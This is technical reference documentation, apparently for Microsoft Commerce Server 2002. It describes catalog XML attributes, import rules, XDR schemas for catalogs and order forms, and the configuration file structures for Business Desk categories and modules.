ExportToDW | boolean | Indicates whether the Catalog DTS task should export this property into the Data Warehouse. Properties with this attribute set to True will be available for use in reports and data analysis. The values are: "1" (True) or "0" (False)
id | string | A unique ID for each node in the document. May not contain spaces (an XML requirement).
IncludeInSpecSearch | boolean | Indicates whether this property should be exposed to specification searches. The values are: "1" (True) or "0" (False)
IsFreeTextSearchable | boolean | Indicates whether this property should be included in the full-text index, and therefore, be free text searchable. The values are: "1" (True) or "0" (False)
IsRequired | boolean | Indicates whether a value is required for this property. This rule is enforced by Bizdesk and not by the catalog objects The values are: "1" (True) or "0" (False)
MaxValue | string | The maximum legal value for number data types, and the maximum length for string data types.
MinValue | string | The minimum legal value for number data types, and the minimum length for string data types.
Multilingual | string | Indicates whether this property is multilingual. This attribute is only valid when the DataType attribute is string, text, filename, or enumeration. The values are: "1" (True) or "0" (False)
name | string | The unique name of the property.

PropertyValue

Defines a legal value for a property.

Parent Elements: Property

Child Elements: None

Attributes:

Name | Type | Description
displayName | string | A legal value for the containing property.
Language | string | ISO 639+1 code indicating the language to which the property value applies.

Relationship

Defines a relationship between one product or category and another product or category.

Parent Elements: Category, Product

Child Elements: RelationshipDescription

Attributes:

Name | Type | Description
name | string | The name of the relationship.
targetCatalog | string | The name of the catalog containing the target of this relationship, if the relationship is to an item in a different catalog. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.
targetCategory | string | The name of the category that is the target of this relationship. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.
targetProduct | string | The ID of the product that is the target of this relationship. Not used if the relationship attribute is used to define a relationship to an item in the same catalog.

RelationshipDescription

Defines a language specific description for a relationship.

Parent Elements: Relationship

Child Elements: None

Attributes:

Attribute name | Type (default=string) | Description
value | string | The display name text.
language | string | ISO 639+1 code indicating the language to which the display name applies.

<UserDefinedMultilingualProperty>

Defines a name and value pair for a multilingual property.

Parent Elements: Category, Product, ProductVariant

Child Elements: None

Attributes:

Name | Type | Description
Value | string | The text value of the property.
language | string | ISO 639+1 code indicating the language to which the property applies.


Import Semantics

This section describes the semantics that apply when importing a Commerce Server Catalog XML file. Commerce Server can import XML files exported from previous versions of Commerce Server. The import method will automatically detect the schema version.

Catalog Schema Semantics

Catalog Data Semantics

Catalog Schema Semantics

Schema defined in the XML file must not conflict with any schema elements (product, category, and property definitions) that are already defined in the catalog database. If there is a conflict then a descriptive error will be written to the application event log and the import will fail. Schema conflicts can include:

  • Redefining a property to use a different data type than it is already defined as.
  • Redefining a property to use different minimum and maximum values.
  • Redefining a product or category definition to have a different set of member properties.
  • Redefining a language-neutral property as multilingual, or redefining a multilingual property as language neutral.
  • Importing a catalog in an update mode with different product and variant identifiers.

Schema elements are never deleted as a result of importing an XML-formatted catalog — only new schema is added.

The data types that are referenced in the Commerce Server Catalog XML format are mapped to SQL Server data types as follows:

Catalog XML data type | SQL data type
string | nvarchar
number | int
Bignumber | bigint
datetime | datetime
Currency | money
Money | money
boolean | bit
Enumeration | nvarchar(128)
Real | real
Float | decimal
Filename | nvarchar(256)
Text | ntext

Note

  • The bignumber, boolean, and real data types are not currently supported by Commerce Server Business Desk.

Catalog Data Semantics

An XML-formatted catalog file can define new catalogs or it can define updates to catalogs that already exist in the catalog database.

If a catalog that you want to import already exists in the catalog database, the existing catalog can be replaced by the imported catalog, or you can merge the two catalogs. Keep in mind the following if you decide to merge the catalogs:

  • Products can be modified or added.
  • Product variants can be modified or added.
  • Categories can be modified or added.
  • Products, product variants, and categories can only be deleted if the schema of the catalog XML file is version 1.5 or 2.0. The version 1.0 schema, the version used by Commerce Server 2000, does not support deletions.
  • Be aware that a product element that has the same identifying properties as a product that already exists will cause the existing product to be updated. This product element can specify only a subset of the properties that apply to that product in order to update certain properties (for example, to update only the description property or the price).
  • If a product that you want to import already exists in the catalog database (for example, it has the same identifier as an existing product), but is based on a different definition, then the existing product in the database will be deleted and replaced with the new product.
  • If a product being imported already exists in the catalog database you must specify all the parent categories and all the relationships each time the product is imported (or else those relationships will be deleted).


XDR Schema

The XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations used in the XML structure.

  <?xml version="1.0" ?>
- <Schema name="MSCommerceCatalogCollection2" xmlns:dt="urn:schemas-microsoft-com:datatypes" xmlns="urn:schemas-microsoft-com:xml-data">
  <AttributeType name="name" dt:type="string" required="yes" />
  <AttributeType name="id" dt:type="string" required="no" />
  <AttributeType name="dataType" dt:type="enumeration" dt:values="string number bignumber datetime money real float currency boolean enumeration filename text" required="yes" />
  <AttributeType name="Value" dt:type="string" required="no" />
  <AttributeType name="language" dt:type="string" required="no" />
  <AttributeType name="Definition" dt:type="string" required="no" />
  <AttributeType name="DateChanged" dt:type="datetime" required="no" />
  <AttributeType name="action" dt:type="enumeration" dt:values="add delete" required="no" />
  <AttributeType name="pricingCategory" dt:type="string" required="no" />
  <AttributeType name="MaxLength" dt:type="number" required="no" />
  <AttributeType name="Artist" dt:type="string" required="no" />
  <AttributeType name="Author" dt:type="string" required="no" />
  <AttributeType name="Benefits" dt:type="string" required="no" />
  <AttributeType name="Binding" dt:type="string" required="no" />
  <AttributeType name="City" dt:type="string" required="no" />
  <AttributeType name="Classification" dt:type="number" required="no" />
  <AttributeType name="ClassificationDomain" dt:type="string" required="no" />
  <AttributeType name="Color" dt:type="string" required="no" />
  <AttributeType name="ColorPrinting" dt:type="string" required="no" />
  <AttributeType name="Cordless" dt:type="string" required="no" />
  <AttributeType name="Country_x0020_of_x0020_Origin" dt:type="string" required="no" />
  <AttributeType name="Description" dt:type="string" required="no" />
  <AttributeType name="DPI" dt:type="number" required="no" />
  <AttributeType name="EventDate" dt:type="datetime" required="no" />
  <AttributeType name="Features" dt:type="string" required="no" />
  <AttributeType name="Gender" dt:type="string" required="no" />
  <AttributeType name="Image_filename" dt:type="string" required="no" />
  <AttributeType name="Image_height" dt:type="number" required="no" />
  <AttributeType name="Image_width" dt:type="number" required="no" />
  <AttributeType name="ISBN" dt:type="string" required="no" />
  <AttributeType name="JeansColor" dt:type="string" required="no" />
  <AttributeType name="JeansSize" dt:type="string" required="no" />
  <AttributeType name="Label" dt:type="string" required="no" />
  <AttributeType name="Licencetype" dt:type="string" required="no" />
  <AttributeType name="Manufacturer" dt:type="string" required="no" />
  <AttributeType name="ManufacturerPartID" dt:type="string" required="no" />
  <AttributeType name="MinutesDuration" dt:type="number" required="no" />
  <AttributeType name="Name" dt:type="string" required="no" />
  <AttributeType name="Os" dt:type="string" required="no" />
  <AttributeType name="PPM" dt:type="number" required="no" />
  <AttributeType name="PrintingTechnology" dt:type="string" required="no" />
  <AttributeType name="prodid" dt:type="string" required="no" />
  <AttributeType name="product_name" dt:type="string" required="no" />
  <AttributeType name="producturl" dt:type="string" required="no" />
  <AttributeType name="Publication_x0020_Year" dt:type="number" required="no" />
  <AttributeType name="Publisher" dt:type="string" required="no" />
  <AttributeType name="RemotelyConfigurable" dt:type="string" required="no" />
  <AttributeType name="ScrollWheel" dt:type="string" required="no" />
  <AttributeType name="SKU" dt:type="string" required="no" />
  <AttributeType name="System_Requirements" dt:type="string" required="no" />
  <AttributeType name="Title" dt:type="string" required="no" />
  <AttributeType name="UN_x002f_SPSC" dt:type="string" required="no" />
  <AttributeType name="Unit_x0020_of_x0020_measure" dt:type="string" required="no" />
  <AttributeType name="Unit_of_measure" dt:type="string" required="no" />
  <AttributeType name="UNSPSC" dt:type="string" required="no" />
  <AttributeType name="Vendor_x0020_Code" dt:type="string" required="no" />
  <AttributeType name="Venue" dt:type="string" required="no" />
  <AttributeType name="Voltage" dt:type="number" required="no" />
  <AttributeType name="Watts" dt:type="number" required="no" />
  <AttributeType name="Weight" dt:type="float" required="no" />
- <ElementType name="MSCommerceCatalogCollection2">
  <AttributeType name="version" dt:type="string" required="yes" />
  <element type="CatalogSchema" minOccurs="1" maxOccurs="1" />
  <element type="Catalog" minOccurs="0" maxOccurs="*" />
  <attribute type="version" />
  </ElementType>
- <ElementType name="CatalogSchema">
  <element type="Property" minOccurs="0" maxOccurs="*" />
  <element type="Definition" minOccurs="0" maxOccurs="*" />
  <element type="AttributeDefinition" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="Property" model="open">
  <AttributeType name="MinValue" dt:type="string" required="no" />
  <AttributeType name="MaxValue" dt:type="string" required="no" />
  <AttributeType name="IsFreeTextSearchable" dt:type="boolean" required="no" />
  <AttributeType name="IncludeInSpecSearch" dt:type="boolean" required="no" />
  <AttributeType name="DisplayOnSite" dt:type="boolean" required="no" />
  <AttributeType name="AssignAll" dt:type="boolean" required="no" />
  <AttributeType name="ExportToDW" dt:type="boolean" required="no" />
  <AttributeType name="DisplayInProductsList" dt:type="boolean" required="no" />
  <AttributeType name="currency" dt:type="string" required="no" />
  <AttributeType name="IsRequired" dt:type="boolean" required="no" />
  <AttributeType name="Multilingual" dt:type="string" required="no" />
  <attribute type="name" />
  <attribute type="id" />
  <attribute type="dataType" />
  <attribute type="DateChanged" />
  <attribute type="MinValue" />
  <attribute type="MaxValue" />
  <attribute type="IsFreeTextSearchable" />
  <attribute type="IncludeInSpecSearch" />
  <attribute type="DisplayOnSite" />
  <attribute type="AssignAll" />
  <attribute type="ExportToDW" />
  <attribute type="DisplayInProductsList" />
  <attribute type="currency" />
  <attribute type="IsRequired" />
  <attribute type="Multilingual" />
  <element type="DefaultValue" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <element type="PropertyValue" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="PropertyValue">
  <AttributeType name="displayName" dt:type="string" required="yes" />
  <attribute type="language" />
  <attribute type="displayName" />
  </ElementType>
- <ElementType name="AttributeDefinition">
  <attribute type="name" />
  <attribute type="dataType" />
  <attribute type="MaxLength" />
  </ElementType>
- <ElementType name="Definition">
  <AttributeType name="DefinitionType" required="yes" dt:type="enumeration" dt:values="product category" />
  <attribute type="name" />
  <attribute type="DefinitionType" />
  <attribute type="DateChanged" />
  <element type="DefProperty" />
  <element type="DefVariantProperty" />
  </ElementType>
  <ElementType name="DefProperty" />
  <ElementType name="DefVariantProperty" />
  <ElementType name="ParentCategory" />
- <ElementType name="Category">
  <AttributeType name="isSearchable" dt:type="boolean" required="no" />
  <AttributeType name="listprice" dt:type="string" required="no" />
  <AttributeType name="PrimaryParentCategory" dt:type="string" required="no" />
  <attribute type="Definition" />
  <attribute type="name" />
  <attribute type="id" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  <attribute type="isSearchable" />
  <attribute type="listprice" />
  <attribute type="PrimaryParentCategory" />
  <attribute type="Description" />
  <attribute type="Image_filename" />
  <attribute type="Image_height" />
  <attribute type="Image_width" />
  <element type="ParentCategory" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <element type="Relationship" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="Product">
  <AttributeType name="PrimaryParentCategory" dt:type="string" required="no" />
  <AttributeType name="listprice" dt:type="string" required="yes" />
  <attribute type="Definition" />
  <attribute type="id" />
  <attribute type="PrimaryParentCategory" />
  <attribute type="pricingCategory" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  <attribute type="listprice" />
  <attribute type="Artist" />
  <attribute type="Author" />
  <attribute type="Benefits" />
  <attribute type="City" />
  <attribute type="Classification" />
  <attribute type="ClassificationDomain" />
  <attribute type="ColorPrinting" />
  <attribute type="Cordless" />
  <attribute type="Country_x0020_of_x0020_Origin" />
  <attribute type="Description" />
  <attribute type="EventDate" />
  <attribute type="Features" />
  <attribute type="Image_filename" />
  <attribute type="Image_height" />
  <attribute type="Image_width" />
  <attribute type="Label" />
  <attribute type="Licencetype" />
  <attribute type="Manufacturer" />
  <attribute type="ManufacturerPartID" />
  <attribute type="MinutesDuration" />
  <attribute type="Name" />
  <attribute type="Os" />
  <attribute type="PPM" />
  <attribute type="PrintingTechnology" />
  <attribute type="prodid" />
  <attribute type="product_name" />
  <attribute type="producturl" />
  <attribute type="Publication_x0020_Year" />
  <attribute type="Publisher" />
  <attribute type="RemotelyConfigurable" />
  <attribute type="ScrollWheel" />
  <attribute type="SKU" />
  <attribute type="System_Requirements" />
  <attribute type="Title" />
  <attribute type="Unit_of_measure" />
  <attribute type="Venue" />
  <attribute type="Weight" />
  <element type="ParentCategory" minOccurs="0" maxOccurs="*" />
  <element type="Relationship" minOccurs="0" maxOccurs="*" />
  <element type="ProductVariant" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="ProductVariant">
  <AttributeType name="listprice" dt:type="string" required="yes" />
  <attribute type="Binding" />
  <attribute type="Color" />
  <attribute type="ISBN" />
  <attribute type="JeansColor" />
  <attribute type="JeansSize" />
  <attribute type="SKU" />
  <attribute type="listprice" />
  <attribute type="id" />
  <attribute type="DateChanged" />
  <attribute type="action" />
  </ElementType>
- <ElementType name="Catalog">
  <AttributeType name="currency" dt:type="string" required="no" />
  <AttributeType name="DefaultLanguage" dt:type="string" required="no" />
  <AttributeType name="ReportingLanguage" dt:type="string" required="no" />
  <AttributeType name="languages" dt:type="string" required="no" />
  <AttributeType name="locale" dt:type="string" required="no" />
  <AttributeType name="startDate" dt:type="string" required="no" />
  <AttributeType name="endDate" dt:type="string" required="no" />
  <AttributeType name="productUID" dt:type="string" required="yes" />
  <AttributeType name="variantUID" dt:type="string" required="no" />
  <AttributeType name="weight_measuring_unit" dt:type="string" required="no" />
  <element type="Category" minOccurs="0" maxOccurs="*" />
  <element type="Product" minOccurs="0" maxOccurs="*" />
  <element type="displayName" minOccurs="0" maxOccurs="*" />
  <attribute type="name" />
  <attribute type="currency" />
  <attribute type="DefaultLanguage" />
  <attribute type="ReportingLanguage" />
  <attribute type="languages" />
  <attribute type="locale" />
  <attribute type="startDate" />
  <attribute type="endDate" />
  <attribute type="productUID" />
  <attribute type="variantUID" />
  <attribute type="weight_measuring_unit" />
  </ElementType>
- <ElementType name="Relationship">
  <AttributeType name="targetCatalog" required="no" dt:type="string" />
  <AttributeType name="targetCategory" required="no" dt:type="string" />
  <AttributeType name="targetProduct" required="no" dt:type="string" />
  <attribute type="name" />
  <attribute type="targetCatalog" />
  <attribute type="targetCategory" />
  <attribute type="targetProduct" />
  <element type="RelationshipDescription" minOccurs="0" maxOccurs="*" />
  </ElementType>
- <ElementType name="RelationshipDescription">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
- <ElementType name="displayName">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
- <ElementType name="DefaultValue">
  <attribute type="language" />
  <attribute type="Value" />
  </ElementType>
  </Schema>


Order XML Structures

The Microsoft Commerce Server 2002 Order Extensible Markup Language (XML) format is designed to represent an order in a format suitable for exchange between applications and for transport over the Internet.

The format itself is defined in an XML data schema, allowing it to be used with XML data-aware tools such, as BizTalk Server mapping tools.

This section contains:

  • XML Elements. Describes the XML elements and their relations.
  • XDR Schema. Shows the XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations.


XML Elements

The following table describes some of the elements used in the Commerce Server 2002 order form:

Name | Description
Payment Method | The supported payment method. For example, credit card or check.
Billing_Address_ID | The Address Dictionary key for the billing address. For information about Address Dictionary key see the Address element.
Order ID | The order reference ID of the sender.
Order Date | The order date of the sender or the buyer.
Billing_Currency | The billing currency code. For example, USD, YEN, or CSD.
From/Identity | The trading partner identification. For example, the trading partner number.
From/Organization Name | The trading partner organization name.
From/SharedSecret | The secret shared with the trading partner (second password).
To/Identity | The identification of the supplier.
To/SharedSecret | The secret shared with supplier (second password).
Sender/Identity | The identification of the buyer.
Sender/SharedSecret | The secret shared with the trading partner (second password).
Address | The Address element can be used for both Billing address and Shipping address. AddressDictKey is the unique id that identifies the different addresses.
Address/AddressDicKey | The unique Id that identifies the given address.
Items/quantity | The quantity of the product.
Items/Vendorid | The vendor Id (if it exists) of the product.
Items/ProductId | The product Id of the product. This should match with the product id in the product catalog.
Item/Product_variant_id | Variant Id of the particular product. Again should match with the catalog.
Item/Product_Name | The name of the product.
Items/Product_Catalog | The name of the catalog that contains the product.
Items/Product _category | The category of the product.
Items/Description | The description of the product .
Items/Shipping_address_id | The AddressDictKey for the shipping address.
Items/Shipping_method_id | The shipping method Id.
Items/Shipping_Method_Name | The name of the shipping method. For example, ground or next day air.
Items/d_DateCreated | The date the supplier order was created.
Items/cy_Lineitem_total | The line item total.
Items/RequestedDeliveryDate | The requested delivery date of the product by the buyer.
Items/UnitOfMeasure | The unit of measure for the product. For example, pounds or grams.


XDR Schema

The XML-Data Reduced (XDR) schema defines the individual elements, attributes, and relations used in the XML structure of the Commerce Server 2002 Order From.

<?xml version="1.0" ?>
- <Schema name="orderform" b:BizTalkServerEditorTool_Version="1.0" b:root_reference="orderform" b:version="1.5" b:standard="XML" xmlns="urn:schemas-microsoft-com:xml-data" xmlns:dt="urn:schemas-microsoft-com:datatypes" xmlns:b="urn:schemas-microsoft-com:BizTalkServer">
  <b:SelectionFields />
- <ElementType name="orderform" content="eltOnly" model="open">
  <b:RecordInfo />
- <AttributeType name="payment_method">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_currency">
  <description>currency code</description>
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_amount">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="billing_address_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="PayloadID">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrderID">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrderDate">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="payment_method" required="no" />
  <attribute type="billing_address_id" required="no" />
  <attribute type="PayloadID" required="no" />
  <attribute type="OrderID" required="no" />
  <attribute type="OrderDate" required="no" />
  <attribute type="billing_currency" required="no" />
  <attribute type="billing_amount" required="no" />
  <element type="From" maxOccurs="1" minOccurs="0" />
  <element type="To" maxOccurs="1" minOccurs="0" />
  <element type="Sender" maxOccurs="1" minOccurs="0" />
  <element type="Addresses" maxOccurs="*" minOccurs="0" />
  <element type="Items" maxOccurs="*" minOccurs="0" />
  </ElementType>
- <ElementType name="To" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Sender" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Items" content="empty" model="open">
  <b:RecordInfo />
- <AttributeType name="vendorid">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_method_name">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_method_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="shipping_address_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="quantity" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_variant_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_id">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_category">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="product_catalog">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="description">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="d_DateCreated">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="cy_lineitem_total" dt:type="float">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="UnitOfMeasure">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="RequestedDeliveryDate">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="quantity" required="no" />
  <attribute type="vendorid" required="no" />
  <attribute type="product_id" required="no" />
  <attribute type="product_variant_id" required="no" />
  <attribute type="product_name" required="no" />
  <attribute type="product_catalog" required="no" />
  <attribute type="product_category" required="no" />
  <attribute type="description" required="no" />
  <attribute type="shipping_address_id" required="no" />
  <attribute type="shipping_method_id" required="no" />
  <attribute type="shipping_method_name" required="no" />
  <attribute type="d_DateCreated" required="no" />
  <attribute type="cy_lineitem_total" required="no" />
  <attribute type="RequestedDeliveryDate" required="no" />
  <attribute type="UnitOfMeasure" required="no" />
  </ElementType>
- <ElementType name="From" content="empty" model="closed">
  <b:RecordInfo />
- <AttributeType name="SharedSecret">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="OrganizationName" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="Identity">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="Identity" required="no" />
  <attribute type="OrganizationName" required="no" />
  <attribute type="SharedSecret" required="no" />
  </ElementType>
- <ElementType name="Addresses" content="empty" model="open">
  <b:RecordInfo />
- <AttributeType name="region_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="postal_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="phone_ext" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="phone" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="last_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="first_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="country_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="country_code" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="city" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_name" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_line2" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="address_line1" dt:type="string">
  <b:FieldInfo />
  </AttributeType>
- <AttributeType name="AddressesDictKey">
  <b:FieldInfo />
  </AttributeType>
  <attribute type="first_name" required="no" />
  <attribute type="last_name" required="no" />
  <attribute type="address_name" required="no" />
  <attribute type="address_line1" required="no" />
  <attribute type="address_line2" required="no" />
  <attribute type="city" required="no" />
  <attribute type="region_code" required="no" />
  <attribute type="postal_code" required="no" />
  <attribute type="country_code" required="no" />
  <attribute type="country_name" required="no" />
  <attribute type="phone" required="no" />
  <attribute type="phone_ext" required="no" />
  <attribute type="AddressesDictKey" required="no" />
  </ElementType>
  </Schema>


Business Desk XML Structures

The Extensible Markup Language (XML) structures used by Commerce Server Business Desk can be divided into five categories:

  • Module Configuration. XML structures used for category and module configuration. These need to be modified only when a new module is added to Business Desk, or in the event that existing modules are rearranged or removed.
  • HTML Component Data Representation. XML structures used to represent the data that is displayed within the various HTML components (HTCs) that are provided as part of the Business Desk Framework. For the most part, a single standard format is used, although it can be nested more deeply for some controls than for others. In general, an XML data-island with this structure is one of two data-islands that must exist for a particular HTC to operate correctly.

    The other XML structure in this category is used to represent the nodes in the TreeView HTC. This structure is unique because the data and configuration information are embedded into the same XML structure.

  • HTML Component Configuration. XML structures used to provide metadata about the data being displayed. For example, if the data is displayed in columns, this structure specifies information about each of those columns, such as the column heading, how the data itself should be formatted, the column width, and whether the column can be sorted. In general, an XML data-island of this type is one of two data-islands that must exist for a particular HTC to operate correctly.
  • Security Configuration. XML structures used to provide security information for Business Desk.
  • International Configuration. XML structures used to provide internationalization information for Business Desk.


Module Configuration

Extensible Markup Language (XML) structures are used by Commerce Server Business Desk for category and module configuration. These XML structures need to be modified only when a new module is added to Business Desk, or in the event that existing modules are rearranged or removed.

A master configuration file is used to link multiple module configuration files together into an overall structure. This section defines the structures of the master configuration file and the module configuration files.

This section contains:

  • Master Configuration File. Describes the XML structure of the master configuration file that ties all other module configuration files together, including their organization into categories.
  • Module Configuration Files. Describes the XML structure of the module configuration files that specify the details of each individual module.


Master Configuration File

The master configuration file, which contains XML, is the focal point of category and module configuration for Commerce Server Business Desk. For the sake of modularity, the specific configuration of each module or set of modules is isolated in other XML configuration files, called module configuration files, each of which is referenced by a moduleconfig element within the master configuration file. The module configuration files can be thought of as include files for the master configuration file.

This topic explains the contents of the master configuration file. Specifically, it shows the XML structure. Each element name is a link to a description of the contents of that element; the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not in bold.

The XML schema for the master configuration file can be found in the file Bdconfig-schema.xml in the Business Desk Config folder.

Note

  • The XML elements and attributes in the master configuration file must be expressed in lowercase letters.

XML Structure

<?xml version = '1.0' encoding='windows-1252' ?>
<config>
  <categories>
    <category id>
      <name>name with underlined access key</name>
      <key>access key from above</key>
      <tooltip>category tooltip</tooltip>
    </category>
    ...
    <category id>
      <name>name with underlined access key</name>
      <key>access key from above</key>
      <tooltip>category tooltip</tooltip>
    </category>
  </categories>
  <moduleconfigs>
    <moduleconfig category id />
    ...
    <moduleconfig category id />
  </moduleconfigs>
</config>

config

This required element contains all configuration information in the master configuration file.

Parent Element
None (document root).
Required Child Elements
categories, moduleconfigs
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

categories

This required element contains one or more category elements.

Parent Element
config
Required Child Elements
category (at least one, but typically more)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

category

This required element identifies and describes a Commerce Server Business Desk category.

Parent Element
categories
Required Child Elements
name, key, tooltip
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
id | Provides an identifier for the category. Required. Legal values: Generally one word, all lowercase, with no underscores or other special characters. Default value: None. This identifier is also used as the value of the category element of the moduleconfig element to associate a module configuration file with each defined category. The value of the id attribute for each category must be unique.

Return to XML Structure

name

This required element specifies the name of the category as the Commerce Server Business Desk user sees it.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The category name, as the Business Desk user sees it.
Attributes
None.

Remarks

The specified category name must identify the accessibility key by underlining one of the characters in the name. Properly escaped HTML must be used to implement the underlining: the appropriate character must be preceded by the string &lt;U&gt; and followed by the string &lt;/U&gt;.

For example, if the category name is Content and the accessibility key is "c", the name must be specified as &lt;U&gt;C&lt;/U&gt;ontent. This results in the HTML string <U>C</U>ontent, which appears in the browser as Content.

Return to XML Structure

key

This required element specifies a character that serves as the accessibility key associated with the category.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The accessibility key, which the Commerce Server Business Desk user sees as an underlined character in the category name.
Attributes
None.

Remarks

The accessibility key for the category should specify the same character identified with underlining in the category name. For example, if the category name is specified such that the user sees the string Content, the character "c" must appear between the <key> and </key> tags.

Return to XML Structure

tooltip

This required element provides a brief description of the purpose of the modules contained within the category, and should be more descriptive than the category name itself.

Parent Element
category
Required Child Elements
None.
Optional Child Elements
None.
Data
The category tooltip string, which the Commerce Server Business Desk user sees when the cursor is over the category name.
Attributes
None.

Return to XML Structure

moduleconfigs

This required element contains references to the various module configuration files specified for this instance of Commerce Server Business Desk.

Parent Element
config
Required Child Elements
moduleconfig (typically contains at least one for each category element defined within the categories element)
Optional Child Elements
None.
Data
None.
Attributes
None.

Remarks

Multiple modules per category can be defined in two ways. First, multiple moduleconfig elements identifying the same category but different module configuration files can be defined. Modules are shown in the category in the same order that the moduleconfig elements appear.

Second, multiple modules can be defined in a single module configuration file, and linked to a category with a single moduleconfig element.

The two approaches can be combined.

Return to XML Structure

moduleconfig

This required element specifies a specific module configuration file for use in this instance of Commerce Server Business Desk.

Parent Element
moduleconfigs
Required Child Elements
None.
Optional Child Elements
None.
Data
None.

Attributes

Attribute | Description
category | Specifies the identifier of the category associated with the modules defined in the module configuration file specified by the id attribute. Required. Legal values: This identifier must match the value of the id attribute specified for one of the category elements. Default value: None.
id | Specifies the (pathless) name of the XML file containing the configuration information for the modules in the specified category. Required. Legal values: The name of an existing module configuration file. Default value: None.

Return to XML Structure


Module Configuration Files

The module configuration files, which contain XML, specify the configuration information at the module level for Commerce Server Business Desk. Each module configuration file is referenced by a moduleconfig element in the master configuration file, together making up the overall configuration of categories and modules for a particular instance of Business Desk. The module configuration files can be thought of as include files for the master configuration file.

This topic explains the contents of the module configuration files. Specifically, it shows the XML structure, where each element name is a link to a description of the contents of that element, and where the attributes of each element are shown in italic, without the equal sign and value that normally accompanies them. Required elements and attributes are shown in bold; optional elements and attributes are not bolded.

The XML schema for the master configuration file can be found in a file Bdmodule-schema.xml in the Business Desk Config folder.

Note

  • The XML elements and attributes in the module configuration files must be expressed in lowercase letters.

XML Structure

<?xml version = '1.0' encoding='windows-1252' ?>
<config>
  <actions>
    <action id helptopic>
      <name>action name</name>
      <tooltip>action tooltip</tooltip>
      <tasks>
        <task icon id type>
          <goto action>menu item name</goto>
          <postto action formname>menu item name</postto>
          <name>task name</name>
          <key>access key from above</key>
          <tooltip>task tooltip</tooltip>
        </task>
        ...
        <task icon id type>
          ...
        </task>
      </tasks>
    </action>
    ...
    <action id helptopic>
      ...
    </action>
  </actions>
  <modules>
    <module id>
      <name>module name</name>
      <tooltip>module tooltip</tooltip>
    </module>
    ...
    <module id>
      ...
    </module>
  </modules>
</config>

config

This required element contains all configuration information in the module configuration files.

Parent Element
None (document root).
Required Child Elements
actions, modules
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

actions

This required element contains one or more action elements specified for the modules defined in this module configuration file.

Parent Element
config
Required Child Elements
action (at least one)
Optional Child Elements
None.
Data
None.
Attributes
None.

Return to XML Structure

action

This required element specifies a particular action available within the module. This includes the URL of the ASP page associated with the action, and identifies the appropriate Help topic and the tasks available within the action.

Parent Element
actions
Required Child Elements
name, tooltip, tasks
Optional Child Elements
None.
Data
None.

Attributes

